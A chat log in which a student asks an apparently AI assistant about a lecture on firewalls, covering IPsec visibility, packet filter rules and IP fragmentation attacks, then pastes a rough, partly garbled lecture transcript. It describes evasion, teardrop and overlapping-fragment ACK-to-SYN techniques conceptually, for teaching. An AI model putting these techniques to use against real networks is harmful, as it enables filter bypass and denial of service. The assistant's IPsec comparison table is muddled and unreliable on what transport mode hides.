CS203 Gene's Class - Filtering

this lecture is about filtering

Great — could you clarify what type of **filtering** the lecture is about? For example:

- Filtering in **signal processing** (e.g., low-pass, high-pass)?
- Filtering in **computer vision** (e.g., point cloud or depth map filtering)?
- Filtering in **network security** (e.g., packet filtering or firewall rules)?
- Filtering in **data science** (e.g., query filtering or data cleaning)?
- Filtering in **machine learning** (e.g., feature selection or noise filtering)?

Also, feel free to paste the transcript or slides, and I can help break it down or take notes for you.

prof is telling that ipsec will create a problem for the filrewall since the header will be encrypted

Thanks — that makes perfect sense. Here's a structured explanation of what your professor is saying in the lecture:

🔐 Why IPsec Can Create Problems for Firewalls

📌 Context:

- Firewalls **inspect packet headers** (e.g., IP source/destination, port numbers, protocol) to decide whether to allow or block traffic.
- IPsec (specifically in **ESP = Encapsulating Security Payload**) can **encrypt those headers**, depending on the mode used.

🚧 The Problem:

1. Encrypted Headers in Tunnel Mode

- In **IPsec Tunnel Mode**, the **entire original IP packet (including its header)** is encrypted and encapsulated within a **new IP packet**.
- Firewalls **cannot see**:
  - Original source/destination IP
  - Original transport layer ports (e.g., TCP/UDP port 80, 443)

- Protocol identifiers (e.g., TCP, UDP, ICMP)

➡️ So the firewall **cannot apply filtering rules** based on this hidden data.

2. Even in Transport Mode

- In **Transport Mode**, only the **payload** is encrypted — but if ESP is used, even **transport layer headers (TCP/UDP)** are encrypted.
- This blocks **deep packet inspection** or port-based filtering.

🔍 Why Firewalls Struggle:

Feature	Needed by Firewalls	Hidden by IPsec
Source IP	✅	❌ (in transport mode)
Destination IP	✅	❌ (in transport mode)
Source/Dest Port	✅	✅ (ESP encrypts it)
Protocol (TCP/UDP)	✅	✅ (ESP encrypts it)
Payload inspection	✅	✅ (fully encrypted)

🛠️ Implications

- 🔥 **Stateful firewalls and intrusion detection systems** can't function properly because they can't "see" the traffic.
- 🔒 This is a **feature, not a bug** — IPsec **intentionally hides** these fields to prevent surveillance or manipulation.
- But it **limits the usefulness of traditional firewalls**, leading to **new architectures** like:
  - Placing firewalls **before** encryption
  - Using **IPsec-aware firewalls**
  - Applying **policies based on outer IP headers** in tunnel mode

---

Let me know if you want this turned into full lecture notes or a slide summary.

prof said a soln is that firewall will tell to create a ipsec tunnel first

Yes — what your professor is referring to is a **coordinated security architecture** where the firewall and IPsec are **aware of each other**, and the firewall **requires or triggers the establishment of an IPsec tunnel** *before* allowing traffic.

Let me break it down clearly:

🔑 Solution: Firewall-Initiated IPsec Tunneling

📌 **The Problem Recap:**

- IPsec **encrypts headers**, so traditional firewalls can't inspect packets.
- This breaks packet-based filtering, NAT, or even application-layer inspection.

✅ The Solution: Make the Firewall Part of the IPsec Process

🔁 What Happens:

1. **Initial packet reaches the firewall**.
2. The firewall checks its policy and says:

   > "This connection must be secured using IPsec."

3. The firewall **doesn't forward the packet immediately**.
4. Instead, it **triggers the creation of an IPsec tunnel** (e.g., via IKE negotiation).
5. Once the tunnel is up, **traffic is allowed to flow securely through it**.

🧠 This is often implemented using:

🔹 Security Policy Database (SPD)

- Firewall or gateway consults SPD, which contains rules like:

  > "All traffic to subnet 10.1.2.0/24 must go through IPsec."

🔹 IKE (Internet Key Exchange)

- IKE is used to negotiate and establish the IPsec Security Association (SA) after the firewall triggers it.

🔹 VPN Gateway Firewalls

- In corporate networks, the **firewall doubles as a VPN gateway**, automatically enforcing IPsec for certain destinations.

📦 Real-World Example:

- A branch office wants to send data to HQ.
- Firewall at the branch checks the SPD, sees that all HQ traffic must use IPsec.
- It **forces the client or router to create an IPsec tunnel** to HQ before allowing anything through.

✅ Benefits of This Approach:

Feature	Why It Helps
Preserves filtering	Because firewall controls tunnel creation and rules
Allows inspection at tunnel endpoints	Once decrypted at endpoint, traffic can be inspected
Compatible with enterprise security	Works well with VPNs, gateways, and secure access policies

---

Would you like this explained with a diagram or LaTeX slide format for your notes?

what is fragmentation attack

A **fragmentation attack** is a network-layer attack where an adversary exploits **IP packet fragmentation** to **evade detection** by firewalls, intrusion detection systems (IDS), or to **cause resource exhaustion** or **reassembly errors**.

Let's break it down clearly:

🌐 What is IP Fragmentation?

- In IP (v4), when a packet is **larger than the Maximum Transmission Unit (MTU)** of a network, it's split into smaller pieces called **fragments**.
- These fragments are **reassembled** at the destination based on fragment offset and ID fields.

💥 What is a Fragmentation Attack?

A fragmentation attack **intentionally manipulates these fragments** to achieve malicious goals:

🔓 Types of Fragmentation Attacks

1. Evasion Attack (Firewall/IDS Bypass)

🚨 Goal:

Slip malicious payload past firewalls or IDS by splitting it in ways they can't reassemble properly.

⚙️ How it works:

- Break malicious code or patterns across fragments.
- Firewalls/IDS may **analyze only the first fragment** (due to performance).
- But the victim reassembles all fragments and **executes the full payload**.

  ✅ At firewall: looks harmless
  ❌ At destination: full malicious code reconstructed

Example:

```http
GET /<frag1>          ← firewall sees this
<frag2>/malicious.php ← skipped or delayed by firewall
```

2. Overlapping Fragment Attack (Teardrop Attack)

🧨 **Goal:**

Crash or confuse the target's TCP/IP stack during reassembly.

⚙️ **How it works:**

- Send overlapping IP fragments with conflicting offsets.
- Poorly implemented OSes (especially old Windows/Linux kernels) crash or misbehave.

Example:

- Fragment 1: Offset 0–100
- Fragment 2: Offset 50–150 → Overlaps with fragment 1

3. Tiny Fragment Attack

🎯 **Goal:**

Split the transport header (e.g., TCP/UDP header) across many small fragments to evade detection.

⚙️ **How it works:**

- Send **very small fragments** (e.g., 8 bytes each), forcing firewalls to **buffer and reassemble** everything before checking.
- Many firewalls don't reassemble packets and **miss protocol violations or signatures**.

🔐 Why It's Dangerous

Risk	Description
❌ Detection Evasion	Malicious payload split across fragments
🧠 Resource Drain	Forcing target to buffer many fragments (DoS)
💣 System Crash	Exploiting reassembly bugs (e.g., teardrop)

🛡️ Defense Strategies

1. **Reassembly at Firewall or IDS**
    - Deep packet inspection systems should **reassemble fragments** before analysis.

2. **Deny suspicious fragmentation patterns**
   - Drop tiny or overlapping fragments.
3. **Normalize traffic at gateways**
   - Tools like Snort with pre-processors (e.g., frag3) detect and handle such patterns.
4. **Set minimum fragment size**
   - Prevent header-splitting attacks.

Let me know if you want a table or diagram for your notes or slides.

LEC7-firewalls.pdf
PDF

read the lecture slides thoroughly

Based on your professor's slides from **LEC7 - Firewalls**, here is a thorough summary and explanation focused on the **fragmentation attack** and its **interaction with IPsec** and **firewalls**:

🔥 Fragmentation Attacks – Explained from Lecture

🧨 Slide 15: Fragmentation Attack Overview

🚨 What is Happening:

- The attacker sends **two IP fragments**, each with the **ACK flag set**.
- However, the **offsets are maliciously chosen** so that when the fragments are reassembled, the resulting TCP packet ends up with the **SYN flag set** (not ACK).
- This is **not what the firewall saw**, so it **bypasses filtering rules**.

  Example shown is on port 23 (Telnet):

- The firewall was configured to **only allow packets with ACK set**.
- But by exploiting fragmentation and offsets, the reassembled packet appears as a **SYN**, which is normally **blocked** by the firewall.

🧠 Attack Impact:

- Bypasses stateless filtering rules.
- Can be used for **SYN flooding** or session spoofing.

🛡️ Why Firewalls Struggle with Fragmentation

Slide 11: Weaknesses of Packet Filters

- Stateless: they examine each packet **independently**.
- Cannot track or reassemble fragmented packets.
- Cannot detect malformed or overlapping fragments (used in attacks like Teardrop).
- **Fragmentation attacks** exploit this by hiding true intent across fragments.

🔐 Relevance to IPsec

Though the slides don’t mention this directly, you connected it to IPsec. Here's how they relate:

🔒 IPsec + Firewalls = Visibility Problem

- **ESP (Encapsulating Security Payload)** in IPsec **encrypts transport-layer headers**, including:
  - TCP/UDP ports
  - Flags like SYN/ACK
  - Payloads

➡️ So firewalls can’t:

- Inspect TCP flags (needed to detect SYN, ACK, etc.)
- Reassemble and analyze fragmented payloads
- Apply rules based on port numbers or application-level content

> As your professor said: **"IPsec will create a problem for the firewall since the header will be encrypted."**

🛠️ Solution Your Professor Suggested

> 🔁 **Firewall tells the client/server to create an IPsec tunnel first**

Slide Contextual Interpretation:

- Instead of letting raw packets through and trying to inspect them,
- The firewall can **enforce a policy** that:

> > “All traffic to X must go through an IPsec tunnel.”

How?

- Using **Security Policy Database (SPD)** and **IKE negotiation**, the firewall or gateway ensures:
  - Only **authenticated**, **encrypted**, and **tunneled traffic** is allowed.
  - The **outer IP headers** are visible for basic filtering.
  - Internal (encrypted) payloads are only decrypted at **trusted endpoints**.

This reduces:

- Exposure to fragmentation and evasion
- Reliance on brittle packet inspection
- Misconfigurations due to complex filtering rules

🧠 Summary Table

Attack	Technique	Firewall Problem	Fix
Fragmentation Attack	Split SYN into fragments with ACK	Stateless filter sees ACK; reassembled SYN passes	Stateful inspection or reassembly
IPsec Header Encryption	ESP encrypts ports and flags	Firewall can't see anything past IP header	Require IPsec tunnel + inspect outer header
Tiny Fragments / Overlap	Hide payload patterns	IDS/Firewall can't detect patterns	Normalize fragments or drop suspicious ones

---

Would you like a diagram of the fragmentation attack or a LaTeX-formatted slide-style version of this explanation for note-taking?

we will discuss a lot, just read the entire slide properly

Got it — I've now read **all slides** from your uploaded file *LEC7-firewalls.pdf* thoroughly. Here's a quick high-level index of what's covered, so we can refer back easily during discussion:

✅ Slide-by-Slide Breakdown

📚 1–4: Introduction & Architecture

- Purpose of firewalls: protect internal networks, DMZ
- Castle-and-moat analogy
- Placement: between internal/external networks, subnets, endpoints

🔥 5–6: Types of Firewalls

- Packet filter
- Proxy gateway (application-level vs. circuit-level)
- Personal firewall
- Comparison diagram

📦 7–10: Packet Filtering

- Stateless, per-packet decisions
- Can't inspect context (e.g., TCP handshake)
- Example: FTP control/data channels with Cisco ACL-style rules

⚠️ 11–13: Weaknesses of Packet Filters

- No user authentication
- Vulnerable to spoofing, misconfiguration
- **Fragmentation attacks** introduced (slide 13)

💣 14–15: Fragmentation Attack Example

- Fragments with ACK bits → reassembled as SYN
- **Bypasses rules** that allow only ACK
- Target: Telnet on port 23

📊 16–18: Why Stateless Filtering Is Not Enough

- Port reuse problem (e.g., port 5151)
- Context is needed to distinguish response from attack
- Introduces **Session filtering** (with state tables)

🔁 19–20: Session Filtering / Stateful Inspection

- Maintains per-connection state table
- Better than packet filter for TCP, but UDP/ICMP are hard to handle
- Can still be bypassed via tunneling

🌉 21–22: Circuit-Level & Application-Level Gateways

- SOCKS: splices two TCP connections, faster, app-independent
- App-level: specific proxy per app (e.g., HTTP, FTP), better auditing

📊 23: Firewall Type Comparison Table

- Comparison: does it defend against frag attacks? Need to modify client? Performance?

🚫 24: Why Filter Outbound Connections

- Real exploit (WhiteHouse.gov): outbound X11 opened due to bad input sanitization
- Outbound rules often ignored → security holes

🛡️ 25–27: Bastion Host Architectures

- Hardened host, all traffic flows through it

- Single-homed vs. dual-homed
- Dual-homed: better isolation between internal and external networks

🧱 28–29: Screened Subnet & Address Protection

- Only DMZ visible externally; internal is isolated
- NAT, address hiding, filtering route advertisements

⚠️ 30: General Limitations of Firewalls

- Interfere with some apps
- Don't prevent DoS or insider attacks
- Bugs in apps/protocols still exploitable (e.g., buffer overflows, WEP flaws)
- Complexity, misconfiguration risks

Now that I've read the full lecture carefully, I'm ready for **any deep-dive, diagram, or clarification** you want to discuss. Just ask!

Now I will give you the transcribed lecture of my professor. So this lecture is basically from the slide. So professor was teaching this slide and he was giving the lecture. So from the transcribed lecture I want you to first read the transcribed lecture totally, map it with the slides, and gather on the knowledge all he has said and discussed. So that later when I ask some question you can tell me perfectly.

Perfect — I'm ready. Please go ahead and paste or upload the **transcribed lecture** from your professor. Once I have it, I will:

1. **Read the entire transcript carefully**
2. **Map each part to the corresponding slide(s)** in *LEC7-firewalls.pdf*
3. **Extract and retain all the professor's explanations, clarifications, and examples**
4. **Stay fully prepared** to answer any follow-up questions you ask — with detailed and accurate responses grounded in both the slides and what the professor actually said.

You can paste the transcript in parts if it's large, or upload it as a file — your call.

mean, what is it that you want to protect? Things on the inside. To be strictly strict about it, I mean, this is sort of an old-fashioned intranet, but really it's like the private network. And it has all this trust, the posts and other stuff and other networks and equipment and printers and, I don't know, IoT devices and whatever you have. I think there's a big bad world outside. If the world wasn't bad, we wouldn't need firewall. So the world is big and the world is bad. And the typical thing here is that you have a router that connects

you to the, like ISP, right? Or if you are, if the organization itself is already its own ISP, connects you to the long haul. Remember autonomous systems? Yeah, I'm talking about autonomous domain, autonomous systems that provide like long distance services. So anyway, this connects you to the rest of the world. And then here you have this firewall. And the firewall is your sort of first line of defense, right? Router is not a firewall. Sometimes they can live in the same platform, but logically a router and a firewall are two very different things. Router's job, main job, is to route packets and to maintain a routing table and to exchange information with other routers about reachability and congestion and all things like that. It does not generally perform security tasks. Its main job is not security. Firewall's main job, the only job is security. There's no other job that a firewall has, just security.
Now here, this is again a bit old fashioned terminology, but often referred to as DMZ or demilitarized
zones. Okay? So this is where you put your publicly accessible servers, like your web server, right? Or your VPN server, or some other server, or customer support, whatever. So things that you want to be accessible from the outside with less scrutiny, anybody should be able to access at least the company web server, right? Every company that, you know, unless they're super secretive,
right? 99% and more probably of the entities, right? Commercial entities have web presence. What that means is they have a web server. Now some of them do it like this. Some of them host a web server out on a third party provider. Okay? But many do this. They just put it in a DMZ. And the firewall will make sure that traffic can go to the DMZ with no scrutiny. But the DMZ itself is separate, physically disconnected from the rest. So there's no line. If there is a line here, that's a recipe for a disaster. Okay? So if there's anything you remember, or one of the few things you should remember about this lecture, that if you have a DMZ, its only connection should be to the firewall. Okay? And there should be zero connection here. Okay? So I already mentioned the moat. But, important thing, before you start thinking and have your mindset that O is a big bad world and we ought to protect our precious resources from the big bad world. It is true, but it's not the entire truth. In addition to that, you want to protect yourself from things coming out. Why do you care about things coming out? Not just going in. Anybody?
We are a military or some company with some security technology. Okay? Let's develop this. Let's go further. What is the general thing we are looking for here? To prevent?
Yeah, yeah, yeah. But what kind of attacks?
Perfect shovel. Okay? Perfect shovel.
Okay? But there's a term for this. We used that term before. Insider attacks. Insider attack.
Rogue employees, right? They happen, right? Rogue employees. Somebody knows they are going to be axed on a day tomorrow. They can cause damage. They can put a bomb, a logic bomb somewhere.
They can exfiltrate the information. What about malware? Joe Schmo comes to work.
Total doofus. Not a malicious person. Sticks a USB that he brought from home to watch some movies
during lunch break into his work computer. And damn! Malware jumps from USB over to the laptop or desktop and starts exfiltrating sensitive information. You have an unwitting insider.
But essentially what you have is malware. Okay? That sits on the inside and exfiltrates information.
That is why it is very important to control who goes in and who goes out. Just like in a castle with a moat. It's not there just to control who comes in. It's also to see what comes out.
So make sure you remember that. The firewall is two-way. So location of course as you saw in the picture is typically between the external and internal network, right? It could also be inside your private network separating various parts, various departments. That makes sense.
It makes sense. It makes sense in certain government agencies like three-letter agencies. It makes sense
in military settings, right? Where you have strict compartmentalization of information. That there

would be a firewall even within the internal network, right? But that means that the internal network is sort of naturally subdivided into smaller networks. Okay? You could also have it on your own machine.
On your own machine. So if you are running Windows, you might be running a personal firewall, right?
Microsoft personal firewall. I think on Linux, there is also like at least several packages that will install a local firewall for you. Anybody configured their own firewall?
You and I? Nobody else? Nobody uses Windows? Nobody uses Linux? Okay. It's so fine. Most people don't come across this. Okay, so important thing. That firewall is a nice concept, but it essentially leaves a lot of room for deciding where to put it. Which layer? Remember the session, sorry, remember the
sort of rough seven layer hierarchy, right? Network particles, right? Network particles stack. Why? You don't put it in the physical layer. Okay? That's like silly. You don't put it in the MAC layer because the MAC or data layer because that's one hump, right? And it's like, what's the point of a firewall? It's at the MAC layer. So the lowest layer where you can place the firewall is the network layer. Because remember the network layer is hopping around the internet. It's the common layer of the entire internet.
So you cannot put it lower than the network layer. How high can you put it? Well, you can put it all the way
up to the application layer. And that leaves a lot of choice. Okay? So the simplest one is the packet possession filtering router that is placed at roughly the network layer. Roughly, I say kind of, let's say
you're doing the network energy. Another approach is called proxy gateway. But proxy gateway means
that actually traffic terminates. So instead of just examining packets one by one, this proxy gateway will actually like terminate the connection. And we start a new one. So it will be like stitching out two connections. Does that make sense? Right? And this can be done at circuit level, which is application
independent, using sockets, right? Socket layer. And then it can also be done at application level layer. And that
requires designing kind of a custom application gateway. Right? And maybe, I suspect some of you have
already seen this in the real world. If you weren't like in the real world, you may have seen this. Okay?
These types of things. And then of course the personal firewall, you set up your own rules and this could
work at almost any layer, but generally it's a network layer. So we're not going to talk much about this. We're going to
focus on the first two, the packet and proxy gateway. Questions so far? Okay. So just a pictorial representation of
what I just mentioned. Internet and then you have this security perimeter, right? Which is a network security perimeter
where your private network is located. And this packet filtering router, which is the firewall, located there. And
all it does, it does it fast. Because it looks at a packet at a time, and it doesn't keep state about anything.
It just looks at one packet and says, source, destination, protocol, maybe what's the next protocol, maybe
port number, and like length and things like that. It says, what is this? What is this? Do I let it go or do I not?
So it just makes a decision. Let it go or drop. Very quickly. Okay? It does not consult much except

maybe some
kind of a table. Okay? You'll see an example. Then you have a circuit level gateway, which basically splices connections.
So here you have an outside connection, let's say, that terminates here. And if you took a networking course, you've seen
the concept of virtual circuits, right? So essentially, this is a virtual circuit. Right? So there's one that goes
in here, in, and then it's translated into this. So this allows, you know, circuit level filtering. Right? Because it's all
socket based. Okay? But port based, if you will. And here you have application level gateway, where what happens
is you want to, let's say, telnet, right? Remote telnet, like a remote login, right? You want a remote login
from the outside to the inside. But what you first do is you actually log in to this application level gateway.
That's like a first line. And then from there you go to the actual place inside you want to go. So it's really like translating to telnet session, to telnet session. One to here and one to here. And the same would go for file transfer, SMTP, HTTP, etc. It's a real like proxy. Okay? And so this has the most information
about traffic, right? Because this looks at the actual application. So if an application
is not allowed, there's no proxy, the traffic is discarded by this gateway. So for example,
if you try to use, I don't know, some strange protocol that is not supported, right? Some kind
of a, some kind of a new app or something that's not supported. It says, oh, I only support telnet
TPS and TPS to be by. Okay? Whereas a certain level admin might not, might not notice that,
right? Because it doesn't see the application context. Yeah. So starting with, let's start
with packet filtering. So as I said, the decision is done per packet, without any other context
of whether this packet is part of a connection or not. Just look at individual packets. Okay?
What does it look for? Mainly IP source destination address and port numbers.
Protocol identifier, remember the IP header has protocol identifier. And when I say port
numbers, of course port numbers are not inside the IP header. That's inside TCP header or UDP header.
So look at both network layer and transport layer. There are some super simple firewalls,
also packet level filters that only look at the IP header. It's faster that way. Okay?
And I'll tell you why it's faster. Because remember IP has fragmentation. Remember I talked about how IPv4 has fragmentation. So when the TCP segment is given to IP on the sending side, it could be large. Yeah?
And so the IP then will, if it's too large to be fit in one IP packet, it will chop it in fragments.
Well, only the first fragment will have the TCP header. Right? The other fragments could be like in the middle, right?
Or somewhere. So they won't have a TCP header. So you can't check the port numbers. Not good. Right?
If you want to filter by port numbers, you can't. Although the IP header won't tell you is the next protocol is TCP. But it won't tell you what the port numbers are because the header isn't present in the
fragment. So that presents a problem. Also, you will, so one way to do so is to disallow fragments.
So some of these packet filters, right? These packet filtering gateway, they will discard
fragmented packets. They simply like return an ICMP. What's called an ICMP? They say no
fragmentation. Don't fragment. But I want to ask, like, when fragmentation is
usually because the router cannot send a large package. So...
Well, a router can only send a packet as large as what's called MTU of the next link. MTU is
the maximum transmission unit. So that's hard-coded in a given link. So for a given

router, you know, it has this interface. It's more than, at least two, right? That's why it's a router. So for each interface, it has an MTU. So when it receives a packet, obviously it's big enough to fit, right? But when it sends a packet, it has to look, is that packet it's going to fit in the MTU on the next link. Okay? That's how IP works. Does that make sense? But all I mean is that, like, between the routers in a network, you cannot, like, control the router MTU between the routers. You cannot. You cannot. But there's something called MTU discovery.
I mean, generally today, so there's, like, the protocol, the way to describe the spec IP, the way it's described, and the way it's implemented. So the way it's implemented today is more routers do not fragment packets. And I tell you what. So theoretically, it should, it can be supported, it should be supported, but it's not done because internet routers, and this has nothing to do with security. Internet routers are supposed to process packets fast. Fast. Okay? And there's something called a fast path. Fast path is take a packet, look at the destination, points to the next hop, send it. If anything deviates from that, today's most routers will drop the packet. Okay? Because technically they are supposed to, oh, well, the next MTU is too small, I have to split this packet into two parts. That's a lot of work for a router. It deviates very much from this fast path. So that's why many of them don't do it. Okay? But, so that's assumed for the, for the rest of this discussion, right? You understood what I, I hope that what I mentioned before, the problem with fragmentation. But assume there's no fragmentation. Assume that the source of the IP packet sends in a small
enough packet that it will not be fragmented. Okay? Which means that every IP packet has a TCP header. Let's just assume. It may not always be the case. Then what you can do is, of course, you can look in a TCP header and say, oh, there's a port number, and look at TCP flags. Remember, TCP flags indicate what kind of packet this is, right? Is it the beginning of the handshake cover connection? Is it the end of the connection? Etc. And if it's not TCP, for example, above IP, there could also be UDP, which presents a bit of a problem, or ICMP, which is control, internet control message protocol, which I mentioned earlier. It's like a maintenance protocol. Anyway, so filtering rules are based on pattern matching, and you'll see some examples. Different gateways or different firewalls that are different vendors for different languages. It's not like a unified language for describing rules. So if you work for a company that implements a certain, or buys a certain product, a firewall product, you need to learn the language, their policy language, if you're going to configure a firewall. You better learn it well, because misconfigurations can cost nera. Now, at this point, remember SSL TLS. Right? Remember? SSL TLS, you might think, presents a problem. Doesn't it? Well, not for this kind of firewall. Because if you recall, SSL TLS starts encrypting things above TCP. Right? And not even that. Some things are not even encrypted, right? Depending on which version it is, but it leaves some of the things. But TCP here is available, because it's below SSL TLS. So that's not a problem here. Okay? What about IPsec? Ooh, IPsec is a problem. IPsec could be a problem for firewalls that want to look at the TCP header, because they can't. Right? They can't. But what a firewall could do is say, you know what? You want to come for me? Build the first IPsec tunnel to me. Are you following what I'm saying? So, there's my favorite marker. What's going on today? Well, okay. I think you all remember IPsec, right? So the firewall would say, hey, you want to come from the outside, and you want to use IPsec. No, no. First build an IPsec through me.
Right? And then it means the firewall will actually be the endpoint of IPsec tunnel. You will see the actual IP packet when it decapsulates it, right? So here's one example. Yeah?
I mean, I'm assuming you want an IPsec tunnel elsewhere outside of the router, but using that, they wouldn't guarantee the router would actually re-IPsec it to the next .
It may not need to. Remember that, David? We're talking generally IPsec tunnel from the outside to the firewall. That's what I meant. From the outside to the firewall. Then the firewall decapsulates, and then it may re-IPsec it again, right? Or not. That depends.
Let's look at the fact of filtering examples. This looks at the TCP, right? It includes the

TCP header. These are blocks of rules, right? And this is just kind of one very simple language.
And what it says is basically a table. It says action, our host, port, their host, port,
coming. A coming is usually not present, but it's just for an explanation. So the block A
over there says that, okay, the action is to block. So anything that has source destination,
our host, their host, but their host is named spigot, okay? Like the name of the host is spigot.
We don't allow it, okay? That's it. Don't allow it. The next rule says allow from our gateway,
right? Connection on port 25. Well that means port 25, TCP port 25 is SMTP email, right?
Fail. So we allow connections to, from any port, you see that says port any on the second port.
It says any, it says asterisk. Their host is asterisk means any. So any foreign host can connect
to our gateway on port 25, right? Connections to our SMTP port are okay.
Block B says do not allow anything. That's a default rule. So if something falls through all these
and it's not, does not trigger any of those rules, block B is an effect, right? Everything
that's not explicitly allowed is denied or blocked. That's all it says. That's a default rule.
Block C says allow us, right, us to connect to them on port 25. That is an internal host can
go outside and connect to port 25 anywhere. Just for email purposes, right? Because email
is considered safe. Block B says explicitly a set of our host. This is just like a short
handle. You actually like list all the explicit hosts, you know? Like it's different from an
asterisk, right? Asterisk means anything. Our host means a fixed set of our hosts.
It says that our packets to their SMTP port are okay. Again, port 25. And it also says that
anything coming back to our port 25 with an ACK set, flags, that's DCP flags. When it says
flags, you see that flag? That's DCP. It means that it's an acknowledgement, right? What it means
is an acknowledgement of something we said. So we allow ACKs to come back. And finally,
block E says allow our hosts to go out. Anything going out from our host is okay. Initiating from
our host is okay. Anything with an ACK flag is okay. Meaning anything coming back with an ACK flag
an ACK flag is fine. And finally, traffic to non-servers is okay. That is, if you're going outside to
any client, right? To anything that port greater than 1024, that is reserved for non-servers. So
TCP ports 1024 and below are reserved. There are like specific things. Like 25 is email. 80 is HTTP,
right? 443, I think it's SSL, TLS, right? Things like that. But they're all less than 1024.
So here's kind of a deeper dive. So let's look at FTP. Everybody knows FTP, right? File transfer
port. Did you all know that it actually works with your browser? They don't try it like if you use FTP
instead of HTTP in your URL. It still works, right? Your browser understands it.
So what you have here is a client and a server, right? So a client that wants to transfer a file,
one or more files. So the client starts by opening a connection on port. And its own port is 5151,
right?
Says my port is 5151, but actually what the HTTP has is it reserves two special ports, right? It has
24 data. This is where, remember how SSL, TLS works? It has like a record layer and it has other. So
this is like a record layer. It's for bulk data. And this one is for commands. So it's like a control
channel
and a data channel and a data channel. And they have different port numbers. Okay? So like FTP, if
you remember
FTP syntax, get file, file name, is a command. It's transmitted on the command port. The actual file
transfer
will happen on that port will happen on that port. Does that make sense? Commands as opposed to
bulk data.
So the first thing is a connection request comes in on a random, with a random port number, right?
5151. You don't know what it is. And it's some client. And then it's okay, right? So that connection
opens.
Then the next thing is the data channel. The server, the FTP server opens the data channel. And
these are two,
these, these and this are two different TCP connections. Different port numbers, different TCP
connections.

Alright? And so at the end, you have the final TCP connection acknowledgement. At the end of the handshake, a TCP act from the client, and then the connection is over. This is just a refresher.
So what would the packet filter rule say? This is a different syntax from the one. The one I showed you
before was kind of very verbal, right? Very, very easy to parse. This one is a bit obscure.
But once you get used to it, it makes sense. So what does this actually say? It says access list 100.
That's which set of rules? It refers to a set of rules. 100. Permit TCP, okay? Allow TCP traffic
So what does that mean? Outsiders, outsiders coming in on any port on any port greater than 1,023.
I misspoke before I said 1,024.
Well, actually it's 1,023. Greater than 1,023. So which needs client, okay?
For host. 178.168.178.14.37x.18x behavioshiven, oke?
For host. 178.168.10x.18x.18x.18x equals 21. noticeable
So what does that mean? Outsiders, outsiders coming in on any port greater than 1,0244.15. It's not a server. It's a client.
connecting to our host explicitly named for the IP address see that IP address that's our FTP server internally on port 21 is okay that's permit second line says permit blah blah blah
same thing with a port 20 just says it's okay to have traffic to our FTP server our file server
from any client the second list or the second set of rules 101 says permit TCP host this is our host
right again it's that same FTP server to talk to on port 21 to any port that is greater than 1000.3
that is responding to the client okay and the same thing for 20 right so that's the second line here
just a lot so it's a it's a bi-directional right making it uni-directional wouldn't make any sense
right has to be bi-directional and then finally it says here this is interface ethernet zero that's
every every firewall will have to have at least two interfaces right one to the outside one to the
inside can have more than two but generally at least two so which interface does this apply well
this interface is within zero access list 100 is for inbound traffic access list 101 to outbound traffic
i know since everything's obscure but i mean that's not it's not a canonical language just an example of a
specific firewall language for a given file file provider but they all essentially communicate the same information what is allowed what is not allowed
but despite the fact that they are fast right they have problems right the packet filter or the packet filtering firewall is the fastest firewall you can have because it keeps no state or almost no state
it just basically looks at this the static rules that are encoded like a previous slide it says
do i let it in do i let it out do i drop it let it in drop let it in drop it that's it packet at the
time that's it now the problems uh if the attacks are application specific right somebody's trying to exploit uh something it's a vulnerability in an application the packet filtering firewall will not catch
okay like buffer overflow uh it doesn't do user authentication obviously
right because of the network layer or even a transport layer you cannot authenticate the user that might be at the other hand externally because the user does not sit at the network or transport layer so you cannot authenticate authentication based on ip addresses is useless because anybody can spoof
like okay and so this type of firewalls they don't have upper or higher or higher layer functionality because they're supposed to be fast so there are other things that uh they are susceptible to for
for example fermentation attacks uh that i'll talk about next then there's this configuration there's this whole
area of research of how to take a set of rules and decide whether they make sense because if you understood my example both with the simple one with the table and the more complicated one
one the previous slide configuring those rules is not all that easy and it's also but it is easy to
to make mistakes so there's like a whole area of research and security on how to automatically detect uh contradictions or nonsensical rules or redundant rules
i mean right and so these days a lot of of course ml is being used by that
so i'll tell you i'll give you an example of kind of a clever pupelet fragmentation attack

that typical packet filters will not catch
so this is a reminder to you of what ip header looks like right we saw this slide before
right just remember that options are well optional so typical ip packet ends here at the destination
right so typically it's like this right after source destination address there's a tcp header
i mean assuming we're using dc okay so what is a fragmentation attack well generally a fragmentation
attack uh it requires an adversary to craft fragments on ip back there they overlap
does that make sense overlapping yeah so normally again because i don't have a marker i can't draw
anything for you but normally you expect them to do oh all right
yeah normally you want to you have a packet that was long packet that was fragmented
like one two three four and you want to make sure when it's reassembled it's really like one and then
two three and then four and how do you know remember the fragment offset in the previous slide showed
you right fragment offset told you how far for example this packet starts at i don't know uh 513
which means that this is 512 bytes and the fragment offset for this packet will be 513
and if this packet is 100 bytes then the fragment offset here will be 613 okay and this this packet
is 100 bytes that will be 713 here so they all fit neatly one after the other right
but what if you screw around with a fragment offset and instead of 613 put 313 well the reassembling ip
destination will say oh well 313 i am going to stick to this packet here
right because it says that now if you know of such attacks you would of course look you would change
your ip right smart programmers who know how to code will say oh i should always check that
a new fragment does not overlap with the already assembled fragments right because this is incremental
you're receiving fragments you're potentially out of board ah but you know checking for boundaries and
overlap that's extra code ip was designed where the world was denied so that is if you receive a fragment
with the fragment offset it must make sense it must never overlap so a lot of ip implementations maybe
not today today people are cognizant of this but they would just blindly reassemble and what that means
is that if you just overlap real data it's it's a it's a problem already because god knows what
happens in the application layer but a bigger problem is this if
if you have just two fragments
this is ib this is tcb and this is whatever okay and then you have now normally
this there should be another fragment here right that should go in here right it should come after
right it has its own ip header but if the adversary change the offset or crafted the offset to start
here you see what i'm saying so here the offset in this packet fragment offset
zero it's always like this first fragment fragment offset zero because it's it's a first but in the second
what if it says fragment offset here
i don't know 12
i don't know 12
well they will think that okay this thing this thing starts 12 bytes after
so what can happen is that the adversary can override the ip header and control which flags are for
example set in the dcp sorry in this dcp header and so remember the rules that said oh you can
always let in act packets packets with an act flag well if you have two overlapping fragments
and this reassembly reassembly results in the act flag being set the packet will be left

so that's a gist of the attack
so as you i don't know if you can see in red so if the act bit is set in both fragments an act bit is okay right both fragments have an act bit set but the fragment offset is messed up
when you reassemble you can have a sin bit set remember sin not the original sin s y n
s y n the s y n flag should be set in the very first packet in a connection
so what does it mean it that if you only allow acts which means only connections from the inside out were allowed right you would only allow act packets coming back in but connections must always emanate
from the out from the inside this allows essentially the connection to come from the outside
that by this clever reassembly and we will see the different in another lecture uh probably next week
we will see uh what is the what is the danger not only in principle like allowing connections
disallow connections from the inside in but actually mounting was called sin floods or denial of service
attacks on the inside of the servers and by the way if you ever wanted to know what dcp state diagram
is well if you haven't been exposed to this in the networking course you should have been
